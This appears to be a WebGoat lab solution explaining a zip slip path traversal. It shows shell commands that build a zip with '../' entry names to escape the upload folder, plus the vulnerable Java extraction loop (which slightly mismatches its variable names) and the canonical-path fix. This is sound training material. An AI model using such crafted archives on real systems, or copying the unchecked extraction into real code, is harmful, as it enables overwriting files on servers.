=== Solution

First, let's create a zip file with an image inside:

[source, subs="macros"]
----
curl -o webwolf.jpg webWolfRootLink:images/wolf.png[noLink, target=images/wolf.png]
zip profile.zip webwolf.jpg
----

Now let's upload this as our profile image. We can see nothing happens as mentioned in the assignment there is a bug in the software, and the result we see on the screen is:

[source]
----
Zip file extracted successfully failed to copy the image. Please get in touch with our helpdesk.
----

Let's create a zip file that traverses to the top and then back into the given directory in the assignment.

First, create the directory structure:

[source, subs="macros"]
----
mkdir -p webGoatTempDir:temppath[]PathTraversal/username:user[]
cd webGoatTempDir:temppath[]PathTraversal/username:user[]
curl -o username:user[].jpg webWolfRootLink:images/wolf.png[noLink, target=images/wolf.png]
zip profile.zip ../../../../../../../..webGoatTempDir:temppath[]PathTraversal/username:user[]/username:user[].jpg
----

Now, if we upload this zip file, it solves the assignment.

=== Why did this work?

In the code, the developers used the following fragment:

[source%linenums]
----
ZipFile zip = new ZipFile(uploadedZipFile);
Enumeration<? extends ZipEntry> entries = zip.entries();
while (entries.hasMoreElements()) {
  ZipEntry e = entries.nextElement();
  File profilePicture = new File(uploadDirectory, e.getName());
  InputStream is = zip.getInputStream(e);
  Files.copy(is, f.toPath(), StandardCopyOption.REPLACE_EXISTING);
}
----

The fix is to make sure the resulting file in line 5 resides in the directory you expect. Same as with the path traversal mitigation, use `profilePicture.getCanonicalPath()` to ensure the path is the same as you expect it to be.
